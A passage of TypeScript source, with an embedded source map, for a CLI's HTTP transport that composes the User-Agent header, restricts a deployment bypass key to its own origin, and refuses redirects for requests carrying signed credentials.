TO THE REAL\n * DOMAIN to whoever `Location` points at, replayable against it for the\n * signature's lifetime.\n *\n * Detected by header NAME rather than by a caller-supplied \"this is signed\" flag\n * so the protection cannot be forgotten at a call site: attaching the credential\n * is what arms it. Matched case-insensitively. Kept as literals so the base\n * transport keeps its single dependency; `http.test.ts` pins them against the\n * real constants in `lib/siwx` and the x402 payment headers.\n *\n * All three wallet-signed families this CLI sends are here: the SIWX auth\n * header, the x402 payment header (`payment-signature` for x402 v2, plus\n * `x-payment`, the v1 spelling `@x402/core` can emit, as drift insurance even\n * though `read-client` pins v2), and `tenjin-session-delegation` — a REUSABLE\n * session-lifetime SIWX signature `session-key` attaches to every session-signed\n * write, which makes it the most replayable credential of the set. The RFC 9421\n * `Signature`/`Signature-Input` pair riding alongside it is deliberately absent:\n * it covers method, URL, and body digest, so it is not usefully replayable at\n * another host.\n */\nconst CREDENTIAL_HEADERS = new Set([\n 'sign-in-with-x',\n 'payment-signature',\n 'x-payment',\n 'tenjin-session-delegation',\n]);\n\nfunction carriesSignedMaterial(headers: Record<string, string>): boolean {\n return Object.keys(headers).some((name) => CREDENTIAL_HEADERS.has(name.toLowerCase()));\n}\n\nexport type FetchJsonResult = FetchJsonSuccess | FetchJsonFailure;\n\nexport async function fetchJson(url: string, opts: FetchJsonOptions): Promise<FetchJsonResult> {\n const doFetch = opts.fetchImpl ?? fetch;\n const controller = new AbortController();\n let timedOut = false;\n // The timer stays armed until the body is fully consumed (cleared in the outer\n // finally), so a server that sends headers then stalls the body still trips the\n // deadline instead of hanging forever on res.json().\n const timer = setTimeout(() => {\n timedOut = true;\n controller.abort();\n }, opts.timeoutMs);\n\n try {\n let res: Response;\n // `new Headers` throws on a malformed caller header, so building them stays\n // inside the catch that turns any pre-flight refusal into the same\n // discriminated network failure a dead socket gets.\n let pinned = false;\n try {\n const headers = withUserAgent(\n { ...opts.headers, ...shelfBypassHeaders(url, opts.bypass) },\n opts.callerUserAgent,\n );\n // fetchJson sends no signed material — doctor's probes and the contract\n // checks are anonymous — so the door key is the one thing here worth\n // pinning, and it pins the same way it does in httpRequest.\n pinned = carriesBypassKey(headers);\n res = await doFetch(url, {\n signal: controller.signal,\n headers: { ...headers, ...(await tenjinIdentityHeaders(url)) },\n ...(pinned ? { redirect: 'manual' as const } : {}),\n });\n } catch (err) {\n // A timeout is a network failure the AbortController induced; distinguish it\n // from an organic one so the caller can say \"timed out\" rather than a raw\n // AbortError message.\n return timedOut\n ? timeoutFailure(url, opts.timeoutMs)\n : { ok: false, kind: 'network', message: `Request to ${url} failed: ${errorMessage(err)}` };\n }\n\n const requestId = res.headers.get('x-request-id') ?? undefined;\n\n // Fail CLOSED, ahead of the ordinary non-2xx branch, so an unfollowed 3xx is\n // never reported as a plain HTTP status a caller might retry by hand.\n if (pinned && res.status >= 300 && res.status < 400) {\n return {\n ok: false,\n kind: 'blocked-redirect',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n // Where it pointed, not that it pointed: only a hop that leaves the host\n // asked for is evidence about the key. Same-host 3xx happens to a base\n // URL that needs fixing, with a perfectly good key.\n ...(redirectLeavesHost(url, res.headers.get('location'))\n ? { gateOffOrigin: true as const }\n : {}),\n message:\n `Request to ${url} was redirected (${res.status}) while carrying the team shelf's ` +\n 'bypass key; refusing to follow it, because the key opens only the configured origin.',\n };\n }\n\n if (!res.ok) {\n return {\n ok: false,\n kind: 'http',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n // 401/403 is one of the three shapes deployment protection answers with\n // (200 HTML and a 30x interstitial are the others), so the gate signals\n // ride here too. Other statuses stay unmarked: a 404 or 500 HTML page is\n // an ordinary broken deployment, not a credential problem.\n ...(res.status === 401 || res.status === 403 ? accessGateSignals(url, res) : {}),\n message: `Request to ${url} failed with status ${res.status}`,\n };\n }\n\n let json: unknown;\n try {\n json = await res.json();\n } catch (err) {\n // The body read can fail three ways. A timeout wins first: the abort fires\n // synchronously with `timedOut`, so any abort-induced rejection here is our\n // deadline. Otherwise a SyntaxError is a genuine parse failure (invalid\n // JSON); anything else is a transport failure mid-body (network).\n if (timedOut) return timeoutFailure(url, opts.timeoutMs);\n if (err instanceof SyntaxError) {\n return {\n ok: false,\n kind: 'invalid-json',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n ...accessGateSignals(url, res),\n message: `Response from ${url} was not valid JSON`,\n };\n }\n return {\n ok: false,\n kind: 'network',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n message: `Request to ${url} failed while reading the response body: ${errorMessage(err)}`,\n };\n }\n\n return {\n ok: true,\n status: res.status,\n json,\n ...(requestId !== undefined ? { requestId } : {}),\n };\n } finally {\n clearTimeout(timer);\n }\n}\n\nfunction timeoutFailure(url: string, timeoutMs: number): FetchJsonFailure {\n return {\n ok: false,\n kind: 'timeout',\n message: `Request to ${url} timed out after ${timeoutMs}ms`,\n };\n}\n\n/**\n * A full HTTP round trip that surfaces the STATUS, headers, and best-effort JSON\n * body for ANY status. Unlike fetchJson (2xx-only), the B2 read/pay flow needs\n * the body on a 402 (the leak-safe preview) and a 409 (the owned-re-pay gate),\n * and search/outcome need a 4xx validation envelope. A transport/timeout failure\n * still returns the discriminated FetchJsonFailure so callers map it uniformly.\n */\nexport interface HttpRequestOptions {\n method?: 'GET' | 'POST' | 'PUT' | 'DELETE';\n timeoutMs: number;\n headers?: Record<string, string>;\n /** The team shelf's bypass secret and its origin; see {@link ShelfBypass}. */\n bypass?: ShelfBypass;\n /** INTERNAL; see `FetchJsonOptions.callerUserAgent`. */\n callerUserAgent?: string;\n /** A JSON body (POST); serialized with a content-type header set automatically. */\n jsonBody?: unknown;\n /**\n * A body the CALLER already encoded, sent byte for byte with no content-type\n * of this transport's choosing: the router's provider leg is handed a request\n * the server built, and re-encoding it would make the bytes signed for and\n * the bytes sent two different things. The caller's own `headers` carry the\n * content type. Ignored when `jsonBody` is set.\n */\n rawBody?: string;\n fetchImpl?: typeof fetch;\n /**\n * A caller's own abort, combined with (never replacing) `timeoutMs`. The loop's\n * legs pass the fire's signal here so a harness that closed its socket stops the\n * request in flight; a caller with no such signal is unchanged.\n */\n signal?: AbortSignal;\n /**\n * Refuse redirects even when the request carries no signed header. For a\n * caller whose response becomes a durable local artifact (`fetchRead`: the\n * 200 is written to the library as an entitlement record under the\n * server-chosen id/slug), following a cross-origin redirect would let\n * another host's bytes be recorded as if the configured origin served them.\n * Off by default so search/outcome/publish/doctor keep normal transport.\n */\n blockRedirects?: boolean;\n /**\n * Keep a binary body as bytes. A sound, an image or any other non-text\n * payload decoded as text is corrupted, so with this set a response whose\n * content type is not text ({@link isBinaryContentType}) comes back with\n * `bytes` and an empty `text`. The router's provider leg sets it; every other\n * caller reads text as before.\n */\n binaryBody?: boolean;\n /** The cap on such a body; over it the response is a failure, never a\n * buffer that grows without bound. Defaults to {@link MAX_BINARY_BODY_BYTES}. */\n maxBinaryBytes?: number;\n /**\n * Send no install id, and mint none. For a request that checks the network\n * rather than uses Tenjin (the reachability probe), so it never counts as an\n * install in request telemetry.\n */\n anonymous?: boolean;\n}\n\n/** The same cap the router's linked-media download uses. */\nexport const MAX_BINARY_BODY_BYTES = 200 * 1024 * 1024;\n\n/**\n * The body's bytes, read chunk by chunk and abandoned the moment they pass\n * `max`; null over the cap. A declared length over it is refused unread.\n */\nasync function readCapped(res: Response, max: number): Promise<Uint8Array | null> {\n const declared = Number(res.headers.get('content-length') ?? '0');\n if (Number.isFinite(declared) && declared > max) {\n await res.body?.cancel().catch(() => undefined);\n return null;\n }\n if (res.body === null) return new Uint8Array();\n const reader = res.body.getReader();\n const chunks: Uint8Array[] = [];\n let size = 0;\n for (;;) {\n const { done, value } = await reader.read();\n if (done) break;\n size += value.byteLength;\n if (size > max) {\n await reader.cancel().catch(() => undefined);\n return null;\n }\n chunks.push(value);\n }\n return new Uint8Array(Buffer.concat(chunks));\n}\n\n/**\n * A content type whose body is not text: anything that is not `text/*` and\n * not a JSON, XML, JavaScript, YAML or form type. An absent header is text, as\n * it always was here.\n */\nexport function isBinaryContentType(contentType: string | undefined): boolean {\n const type = (contentType ?? '').split(';')[0]!.trim().toLowerCase();\n if (type.length === 0) return false;\n if (type.startsWith('text/')) return false;\n return !/(?:json|xml|javascript|ecmascript|yaml|x-www-form-urlencoded)/.test(type);\n}\n\nexport interface HttpResponse {\n ok: true;\n status: number;\n /** Case-insensitive header lookup over the response. */\n header(name: string): string | undefined;\n /** Parsed JSON body, or undefined when the body was empty or not JSON. */\n json: unknown;\n /** The raw body text; what a non-JSON endpoint actually said (`pay` delivers it). */\n text: string;\n /** The body's bytes, only for a binary body read with `binaryBody`; `text`\n * is then empty. */\n bytes?: Uint8Array;\n requestId?: string;\n}\n\nexport type HttpResult = HttpResponse | FetchJsonFailure;\n\n/** The wire form of one request: what to send, and whether it may follow a redirect. */\ninterface PreparedRequest {\n ok: true;\n headers: Record<string, string>;\n body: string | undefined;\n signed: boolean;\n bypassed: boolean;\n pinned: boolean;\n}\n\n/**\n * Assemble the request and DERIVE its redirect decision from the headers that\n * were actually built, in one place and one pass. The redirect flags are\n * returned rather than assigned, so they have no value until the headers do:\n * there is no state in which `pinned` is readable but not yet computed, which\n * is what would let a signed request follow a 3xx to another host. Anything\n * that refuses here (`new Headers` throws on a malformed caller header) becomes\n * the same discriminated failure a dead socket does, because this transport\n * documents a returned failure for every refusal, not an exception.\n */\nfunction prepareRequest(url: string, opts: HttpRequestOptions): PreparedRequest | FetchJsonFailure {\n try {\n let body: string | undefined;\n // The bypass rides in with the caller's headers rather than being set after\n // them, so a caller cannot spell it a second way and win the slot.\n const merged = new Headers({ ...opts.headers, ...shelfBypassHeaders(url, opts.bypass) });\n if (opts.jsonBody !== undefined) {\n body = JSON.stringify(opts.jsonBody);\n merged.set('content-type', 'application/json');\n } else if (opts.rawBody !== undefined) {\n body = opts.rawBody;\n }\n const wantsAccept = opts.method === 'POST' || opts.method === 'PUT' || body !== undefined;\n if (wantsAccept && !merged.has('accept')) merged.set('accept', 'application/json');\n // An `accept`/`content-type` set here wins the slot regardless of how a\n // caller cased its own copy.\n const headers = Object.fromEntries(applyUserAgent(merged, opts.callerUserAgent).entries());\n\n // Signed requests opt out of redirect following entirely; see CREDENTIAL_HEADERS.\n // So does a request carrying the team shelf's bypass key: it cannot be\n // replayed, but a 3xx would DISCLOSE it, and that is the whole harm (see\n // carriesBypassKey). A caller can also pin an unsigned, keyless request\n // (blockRedirects) when the response it gets back becomes a durable local record.\n const signed = carriesSignedMaterial(headers);\n const bypassed = carriesBypassKey(headers);\n return {\n ok: true,\n headers,\n body,\n signed,\n bypassed,\n pinned: signed || bypassed || opts.blockRedirects === true,\n };\n } catch (err) {\n return {\n ok: false,\n kind: 'network',\n message: `Request to ${url} failed: ${errorMessage(err)}`,\n };\n }\n}\n\nexport async function httpRequest(url: string, opts: HttpRequestOptions): Promise<HttpResult> {\n const doFetch = opts.fetchImpl ?? fetch;\n const controller = new AbortController();\n let timedOut = false;\n const timer = setTimeout(() => {\n timedOut = true;\n controller.abort();\n }, opts.timeoutMs);\n // The caller's abort is combined with the timeout rather than chosen between:\n // whichever fires first ends the request, and `timedOut` still says which.\n const signal =\n opts.signal === undefined\n ? controller.signal\n : AbortSignal.any([controller.signal, opts.signal]);\n\n try {\n const prepared = prepareRequest(url, opts);\n if (!prepared.ok) return prepared;\n const { headers, body, signed, bypassed, pinned } = prepared;\n\n let res: Response;\n try {\n res = await doFetch(url, {\n method: opts.method ?? 'GET',\n headers:\n opts.anonymous === true ? headers : { ...headers, ...(await tenjinIdentityHeaders(url)) },\n body,\n signal,\n ...(pinned ? { redirect: 'manual' as const } : {}),\n });\n } catch (err) {\n if (timedOut) return timeoutFailure(url, opts.timeoutMs);\n if (isHeaderOverflow(err)) return oversizedHeaderFailure(url);\n const transport = transportFailure(err);\n return {\n ok: false,\n kind: 'network',\n message: `Request to ${url} failed: ${errorMessage(err)}`,\n ...(transport !== undefined ? { transport } : {}),\n };\n }\n\n const requestId = res.headers.get('x-request-id') ?? undefined;\n\n // Fail CLOSED on a redirect the request was not allowed to follow. This\n // returns a failure rather than the 3xx response so no caller can mistake an\n // unfollowed redirect for a normal status and retry it by hand.\n if (pinned && res.status >= 300 && res.status < 400) {\n return {\n ok: false,\n kind: 'blocked-redirect',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n message: signed\n ? `Request to ${url} was redirected (${res.status}) while carrying a signed header; ` +\n 'refusing to follow it, because the signature is bound to the configured origin.'\n : bypassed\n ? `Request to ${url} was redirected (${res.status}) while carrying the team shelf's ` +\n 'bypass key; refusing to follow it, because the key opens only the configured origin.'\n : `Request to ${url} was redirected (${res.status}); ` +\n 'refusing to follow it, because the response must come from the configured origin.',\n };\n }\n // Read the raw text once; parse best-effort. A non-JSON body (empty 202, an\n // HTML error page) yields `undefined` rather than a thrown parse, because a\n // 402/409 caller keys off the STATUS and only some statuses carry JSON.\n let text: string;\n let bytes: Uint8Array | undefined;\n try {\n if (opts.binaryBody === true && isBinaryContentType(res.headers.get('content-type') ?? '')) {\n const read = await readCapped(res, opts.maxBinaryBytes ?? MAX_BINARY_BODY_BYTES);\n if (read === null) {\n return {\n ok: false,\n kind: 'network',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n message: `Request to ${url} returned a file over the ${Math.round((opts.maxBinaryBytes ?? MAX_BINARY_BODY_BYTES) / 1_048_576)} MB cap; it was not kept.`,\n };\n }\n bytes = read;\n text = '';\n } else {\n text = await res.text();\n }\n } catch (err) {\n if (timedOut) {\n return {\n ...timeoutFailure(url, opts.timeoutMs),\n header: (name) => res.headers.get(name) ?? undefined,\n };\n }\n return {\n ok: false,\n kind: 'network',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n message: `Request to ${url} failed while reading the response body: ${errorMessage(err)}`,\n };\n }\n let json: unknown;\n if (text.length > 0) {\n try {\n json = JSON.parse(text);\n } catch {\n json = undefined;\n }\n }\n return {\n ok: true,\n status: res.status,\n header: (name) => res.headers.get(name) ?? undefined,\n json,\n text,\n ...(bytes !== undefined ? { bytes } : {}),\n ...(requestId !== undefined ? { requestId } : {}),\n };\n } finally {\n clearTimeout(timer);\n }\n}\n\nexport interface FailureToCliErrorOptions {\n fix?: string;\n details?: unknown;\n}\n\n/**\n * Normalize a fetch failure into the CLI error contract: network/timeout are a\n * NETWORK_ERROR, an `http` status (server reachable but errored — commonly 5xx)\n * is API_UNREACHABLE, and a 2xx that failed to parse when JSON was required is a\n * CONTRACT_MISMATCH. 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1
+ {"version":3,"sources":["../src/lib/client-meta.ts","../src/lib/http.ts"],"sourcesContent":["import pkg from '../../package.json';\nimport { PRODUCTION_ORIGIN } from './production-origin';\n\n/**\n * The RFC 9110 product token naming this CLI. It leads every User-Agent the\n * shared transport sends, because the server's `parseUserAgentProduct()` (tenjin\n * PR #544) attributes on the FIRST product only and the CLI is the user agent\n * that constructed and sent the request.\n */\nexport const TENJIN_PRODUCT = `tenjin-cli/${pkg.version}`;\n\n/** The product NAME alone, which is what identifies a copy of us in a handoff. */\nexport const TENJIN_PRODUCT_NAME = 'tenjin-cli';\n\n/**\n * The product the WebSearch hook leads with, so a ridealong query is separable\n * from a deliberate `tenjin search`. Leading is the mechanism: the server\n * attributes on the FIRST User-Agent product, landing here in `client_name`.\n *\n * The separation is the deliverable, not any one consumer: whatever judges hook\n * demand needs these populations distinguishable at ingest (tenjin#704,\n * tenjin-agent#179). A rename breaks no filter today, it merges them again. */\nexport const WEBSEARCH_HOOK_PRODUCT_NAME = 'tenjin-websearch-hook';\nexport const WEBSEARCH_HOOK_PRODUCT = `${WEBSEARCH_HOOK_PRODUCT_NAME}/${pkg.version}`;\n\n/** Every identity of ours a handoff may carry, which composition drops rather\n * than duplicate, whichever product is leading. */\nexport const OWN_PRODUCT_NAMES = [TENJIN_PRODUCT_NAME, WEBSEARCH_HOOK_PRODUCT_NAME];\n\n/**\n * The identifying comment. It rides LAST so a caller's products keep the order\n * they were handed off in, and so stripping it is enough to recover the caller's\n * sequence from an already-composed field (see `composeUserAgent`).\n */\nexport const TENJIN_COMMENT = `(+${PRODUCTION_ORIGIN})`;\n\n/**\n * The CLI's identity on every HTTP request, sent as the standard `User-Agent`\n * header from the shared transport (`http.ts`). `X-Tenjin-Client` is retired and\n * this CLI sends it nowhere.\n */\nexport const TENJIN_USER_AGENT = `${TENJIN_PRODUCT} ${TENJIN_COMMENT}`;\n\n/** The same field for the WebSearch hook, which identifies as its own product. */\nexport const WEBSEARCH_HOOK_USER_AGENT = `${WEBSEARCH_HOOK_PRODUCT} ${TENJIN_COMMENT}`;\n\n/** The handoff seam for an agent that launches the CLI as a subprocess. */\nexport const CALLER_USER_AGENT_ENV = 'TENJIN_CALLER_USER_AGENT';\n\n/** The server's bound: a longer field is discarded whole, never truncated. */\nexport const USER_AGENT_MAX_LENGTH = 512;\n\n/**\n * One RFC 9110 product: a token, optionally `/token`. The handoff accepts a\n * sequence of these and nothing else (no comments, no free text), which is what\n * structurally keeps a user, wallet, session, hostname, or machine identifier\n * out of the field rather than a blocklist that has to guess at one.\n */\nexport const PRODUCT_RE = /^[!#$%&'*+.^_`|~0-9A-Za-z-]+(?:\\/[!#$%&'*+.^_`|~0-9A-Za-z-]+)?$/;\n\n/** Printable ASCII, the only range the server parses; also excludes CR/LF/tab. */\nexport const PRINTABLE_ASCII_RE = /^[\\x20-\\x7e]*$/;\n\nexport interface ComposeUserAgentInput {\n /** A caller's product sequence, passed programmatically; wins over the env. */\n caller?: string | undefined;\n /** Environment seam; defaults to `process.env`. */\n env?: NodeJS.ProcessEnv;\n /** The product to lead with; the WebSearch hook passes its own. */\n product?: string;\n}\n\n/**\n * Compose the field the transport sends: the Tenjin product, then the caller's\n * products in their original order, then the Tenjin comment. The handoff is\n * SELF-REPORTED TELEMETRY and never trusted policy input; nothing here or on the\n * server may read it to decide entitlement, spend, or trust.\n *\n * Idempotent by construction: the caller value is decomposed into tokens, our own\n * product and comment are dropped from it, and the field is rebuilt from\n * `TENJIN_PRODUCT`, so re-composing an already-composed field (a retry, a nested\n * helper, an agent re-exporting the env it received) yields the same string\n * rather than a second `tenjin-cli` token. Caller products survive byte for byte.\n *\n * Rejection is total, never partial: a non-printable, non-product, or overlong\n * handoff is OMITTED and the Tenjin identity travels alone, because truncating a\n * product token would mint a different, false identity.\n */\nexport function composeUserAgent(input: ComposeUserAgentInput = {}): string {\n const product = input.product ?? TENJIN_PRODUCT;\n const alone = `${product} ${TENJIN_COMMENT}`;\n const raw = input.caller ?? (input.env ?? process.env)[CALLER_USER_AGENT_ENV];\n const products = callerProducts(raw);\n if (products.length === 0) return alone;\n const composed = `${product} ${products.join(' ')} ${TENJIN_COMMENT}`;\n return composed.length <= USER_AGENT_MAX_LENGTH ? composed : alone;\n}\n\n/** The caller's products, or none at all when any part of the handoff is unusable. */\nfunction callerProducts(raw: string | undefined): string[] {\n if (raw === undefined || !PRINTABLE_ASCII_RE.test(raw)) return [];\n // Printable ASCII leaves the space as the only whitespace, so it is the only\n // separator a product sequence can have.\n const tokens = raw.split(' ').filter((token) => token.length > 0 && !isOwnIdentity(token));\n return tokens.every((token) => PRODUCT_RE.test(token)) ? tokens : [];\n}\n\n/**\n * Our own identity inside a caller value, matched case-insensitively: a product\n * token is case-sensitive to the server, but a copy of ours in any casing is\n * still a duplicate identity, and dropping it is what makes composition total.\n */\nfunction isOwnIdentity(token: string): boolean {\n const lower = token.toLowerCase();\n // Both sides are lowered: comparing a lowered token against a constant that is\n // merely all-lowercase TODAY would break silently the day either gains a\n // capital, and it fails safe (the stale copy stops matching, then fails\n // PRODUCT_RE, and the whole handoff drops), so nothing would notice.\n if (lower === TENJIN_COMMENT.toLowerCase()) return true;\n return OWN_PRODUCT_NAMES.some((name) => {\n const own = name.toLowerCase();\n return lower === own || lower.startsWith(`${own}/`);\n });\n}\n","import { CliError } from './errors';\nimport { composeUserAgent } from './client-meta';\n\n/**\n * The single JSON client the whole CLI grows on: `doctor` uses it in B1, `search`\n * reuses it in B2. It never throws on a transport/protocol failure — it returns a\n * discriminated result so callers decide how each failure class maps to a check\n * or an error. `fetchImpl` is injectable so tests never touch the network.\n */\nexport interface FetchJsonOptions {\n /** Abort the request after this many milliseconds. */\n timeoutMs: number;\n /** Override global fetch (tests inject a stub returning canned Responses). */\n fetchImpl?: typeof fetch;\n /** Optional request headers, merged onto the User-Agent this module always sends. */\n headers?: Record<string, string>;\n /** The team shelf's bypass secret and its origin; see {@link ShelfBypass}. */\n bypass?: ShelfBypass;\n /**\n * INTERNAL. A caller's own product sequence, composed BEHIND the CLI's\n * identity (see `composeUserAgent`). The package ships a `bin` and no\n * `exports` map, so this is not a supported seam for code outside this repo:\n * the documented handoff is the `TENJIN_CALLER_USER_AGENT` environment\n * variable, which is what a subprocess launcher sets and what this falls back\n * to. Kept as an option so an in-repo caller can pass a value the environment\n * does not carry.\n */\n callerUserAgent?: string;\n}\n\n/**\n * The team shelf's Vercel \"Protection Bypass for Automation\" header.\n *\n * A door key for a protected preview deployment, not a credential of anyone's:\n * it gets a request past Deployment Protection and authenticates nobody. It is\n * NOT in {@link CREDENTIAL_HEADERS}, whose members are wallet-signed material a\n * redirect target could REPLAY — this one cannot be replayed into a signature.\n * It is still a secret, and DISCLOSING it is the whole harm: whoever holds it\n * walks into the team shelf. So it pins redirects exactly as a signed header\n * does (see {@link carriesBypassKey}), and where it may go is decided here and\n * nowhere else.\n */\nexport const SHELF_BYPASS_HEADER = 'x-vercel-protection-bypass';\n\n/**\n * A bypass secret and the origin it belongs to.\n *\n * THE ORIGIN IS PART OF THE VALUE, and that is the whole design. The CLI talks\n * to two shelves in team mode — the team's own deployment and the public\n * marketplace — and a caller that decides \"this request is to the team shelf, so\n * attach the key\" is a caller that eventually gets it wrong once. So callers\n * pass the pair and this transport does the compare: the header is attached from\n * the REQUEST URL, so a request to any other host cannot carry it, whatever the\n * call site believed.\n */\nexport interface ShelfBypass {\n /** `URL.origin` of the shelf the secret opens (the configured `baseUrl`). */\n origin: string;\n secret: string;\n}\n\n/** The bypass header for `url`, or nothing. Exported for the hook-script mirror\n * test, which runs the generated copy of this rule against this one. */\nexport function shelfBypassHeaders(\n url: string,\n bypass: ShelfBypass | undefined,\n): Record<string, string> {\n if (bypass === undefined || bypass.secret.length === 0) return {};\n let origin: string;\n try {\n origin = new URL(url).origin;\n } catch {\n return {};\n }\n if (origin !== bypass.origin) return {};\n return { [SHELF_BYPASS_HEADER]: bypass.secret };\n}\n\n/**\n * Whether the request being assembled actually carries the door key.\n *\n * A request that carries it MUST NOT follow a redirect. `fetch`'s default\n * `redirect: 'follow'` re-sends request headers verbatim to the new host (Node\n * strips only `Authorization`), so a single 3xx anywhere on the shelf origin —\n * the Vercel Authentication interstitial a rotated bypass secret gets, a domain\n * alias, a CDN rule — would hand the team shelf's key to whatever `Location`\n * names. Nothing else is needed to walk in afterwards, so the key never leaves\n * the origin it was paired with, not even one hop.\n *\n * Read off the BUILT headers rather than off `opts.bypass`, for the same reason\n * {@link CREDENTIAL_HEADERS} is matched by name: attaching the secret is what\n * arms the protection, so an off-origin request (which gets no header) keeps\n * ordinary transport and a call site cannot forget to ask for the pin.\n */\nfunction carriesBypassKey(headers: Record<string, string>): boolean {\n return Object.keys(headers).some((name) => name.toLowerCase() === SHELF_BYPASS_HEADER);\n}\n\n/** The anonymous install id: a random UUID minted once per data dir. */\nexport const INSTALL_ID_HEADER = 'tenjin-install-id';\n\n/**\n * Who is using the router, for Tenjin's own request telemetry: an anonymous\n * install id, random and tied to nothing but the data dir.\n *\n * Same shape as {@link ShelfBypass}, for the same reason: the transport decides\n * where it goes, from the REQUEST URL, so a call site cannot send it to a\n * provider by believing it is talking to Tenjin. `pay` runs over this transport\n * to third-party sellers, and none of them gets the header.\n *\n * Process-wide rather than a per-call option because it is not a per-call\n * decision: every request to Tenjin carries it, and threading it through forty\n * call sites is forty chances to forget one. Set only by the two process entries\n * (the CLI's `index.ts` and the daemon), so an in-process test that never sets\n * it sends exactly what it always did.\n *\n * Redirects are left to the request's usual transport: an unpinned request\n * follows them as `fetch` does, headers and all. Tenjin's origins redirect only\n * to Tenjin's own hosts, and the id is not a credential, so it is not worth the\n * redirect pin the bypass key and signed headers get.\n */\nexport interface TenjinIdentity {\n /** The origins that are Tenjin's own for this process. */\n origins: () => Promise<readonly string[]>;\n /** The install id; absent when it could not be read or created. */\n installId: () => Promise<string | undefined>;\n}\n\nlet tenjinIdentity: TenjinIdentity | undefined;\n\nexport function setTenjinIdentity(identity: TenjinIdentity | undefined): void {\n tenjinIdentity = identity;\n}\n\n/**\n * The telemetry headers for `url`, or nothing. NEVER THROWS: a data dir that\n * cannot be read costs the request its telemetry and nothing else.\n */\nexport async function tenjinIdentityHeaders(url: string): Promise<Record<string, string>> {\n const identity = tenjinIdentity;\n if (identity === undefined) return {};\n try {\n if (!(await identity.origins()).includes(new URL(url).origin)) return {};\n const id = await identity.installId();\n return id !== undefined ? { [INSTALL_ID_HEADER]: id } : {};\n } catch {\n return {};\n }\n}\n\n/**\n * The one place the identity is written for anything that can import it; both\n * transports funnel their Headers through it, so a third entry point on this\n * side cannot ship without it. `.set` on a Headers\n * object is what makes this total: a caller header spelled `User-Agent` in any\n * case lands in the same slot and is overwritten, never duplicated, so a\n * call-specific header cannot erase the composed field or add a second one.\n */\nfunction applyUserAgent(headers: Headers, callerUserAgent?: string): Headers {\n headers.set('user-agent', composeUserAgent({ caller: callerUserAgent }));\n return headers;\n}\n\n/** The same write for `fetchJson`'s plain-object headers; Headers.entries() is lowercase-keyed. */\nfunction withUserAgent(\n callerHeaders?: Record<string, string>,\n callerUserAgent?: string,\n): Record<string, string> {\n return Object.fromEntries(\n applyUserAgent(new Headers(callerHeaders ?? {}), callerUserAgent).entries(),\n );\n}\n\n/** A successful 2xx whose body parsed as JSON. */\nexport interface FetchJsonSuccess {\n ok: true;\n status: number;\n json: unknown;\n /** The server's `x-request-id`, when it sent one — useful in error reports. */\n requestId?: string;\n}\n\n/**\n * A failed request, tagged by class so the caller maps it deliberately:\n * `network`/`timeout` (never reached the server or no answer), `http` (a non-2xx\n * status), `invalid-json` (2xx but the body was not JSON).\n */\nexport interface FetchJsonFailure {\n ok: false;\n kind: 'network' | 'timeout' | 'http' | 'invalid-json' | 'blocked-redirect' | 'oversized-header';\n status?: number;\n requestId?: string;\n message: string;\n /**\n * On `invalid-json`, and on `http` when the status is 401/403: the response\n * looks like an access-protection or sign-in page rather than an API answer.\n * See {@link accessGateSignals} for what \"looks like\" means. Callers use it to\n * point at the missing credential instead of at the base URL, which is the one\n * setting that was already correct (#218).\n */\n gateSuspected?: boolean;\n /**\n * Present (true) only where the response left the host that was asked for:\n * `gateSuspected`'s STRONGER signal (the final URL's host differs), or, on\n * `blocked-redirect`, a `Location` that resolves to another host. An HTML\n * content-type alone proves a page came back, not who sent it, and a 3xx\n * alone proves only that the URL moved; leaving the host is what lets a\n * caller name access protection outright.\n */\n gateOffOrigin?: boolean;\n /**\n * On `network`: the layer the error chain names, when it names one. The\n * origin never answered, so a caller that blames it (or its base URL) gives\n * the wrong fix. See {@link transportFailure}.\n */\n transport?: TransportFailure;\n /**\n * On a `timeout` that came after the response headers did (`httpRequest`\n * only): a case-insensitive lookup over them. A seller can name where a long\n * job's result will be with its first byte, and only the body ran out of time.\n */\n header?: (name: string) => string | undefined;\n}\n\n/** Which layer refused a request that never reached the origin. */\nexport interface TransportFailure {\n layer: 'proxy' | 'dns' | 'tls' | 'connect';\n /** The socket's own error code, for every layer but `proxy`. */\n code?: string;\n /** What the proxy answered to `CONNECT`, for `proxy` only. */\n proxyStatus?: number;\n}\n\n/**\n * Does this response read as a protection page rather than as an API answer?\n *\n * Two independent signals, reported separately because they prove different\n * amounts (the caller's wording must not outrun the evidence):\n *\n * - an HTML content-type, because a Vercel Deployment Protection interstitial\n * and every sign-in wall answer with a page;\n * - a final URL whose host is not the one asked for, because a gate that\n * redirects to sign in lands the probe on another host and `fetch` follows it\n * silently on the unpinned requests this function serves.\n *\n * Decided HERE because this transport is the only place holding the `Response`;\n * a caller re-deriving it from the failure message would be guessing. An\n * unreadable final URL is NOT suspicion: `res.url` is empty on a synthesized\n * Response, so only a host that reads AND differs counts.\n */\nfunction accessGateSignals(\n requestedUrl: string,\n res: Response,\n): { gateSuspected: boolean; gateOffOrigin?: true } {\n const html = /^\\s*text\\/html\\b/i.test(res.headers.get('content-type') ?? '');\n let offOrigin = false;\n if (res.url.length > 0) {\n try {\n offOrigin = new URL(requestedUrl).host !== new URL(res.url).host;\n } catch {\n offOrigin = false;\n }\n }\n return {\n gateSuspected: html || offOrigin,\n ...(offOrigin ? { gateOffOrigin: true as const } : {}),\n };\n}\n\n/**\n * Does an unfollowed 3xx point off the host that was asked for?\n *\n * The pinned branch never follows, so `res.url` is still the requested URL and\n * `Location` is the only evidence about where the hop went. That distinction\n * carries the whole verdict downstream: a gate's sign-in interstitial lands on\n * another host, while an `http://` base URL that 301s to https, or a host\n * normalising to its canonical name, does not, and reading either as a refused\n * credential blames the wrong setting. A relative target resolves against the\n * request, so it is same-host by construction; a missing or unparseable one is\n * NOT an off-host claim.\n */\nfunction redirectLeavesHost(requestedUrl: string, location: string | null): boolean {\n if (location === null || location.length === 0) return false;\n try {\n return new URL(requestedUrl).host !== new URL(location, requestedUrl).host;\n } catch {\n return false;\n }\n}\n\n/**\n * Header names that carry wallet-signed material.\n *\n * A request bearing any of these must NEVER follow a redirect. `resource-ref`\n * pins the invariant — \"nothing signed may leave for a host the user did not\n * configure\" — but `assertOnBaseOrigin` only checks the URL the caller 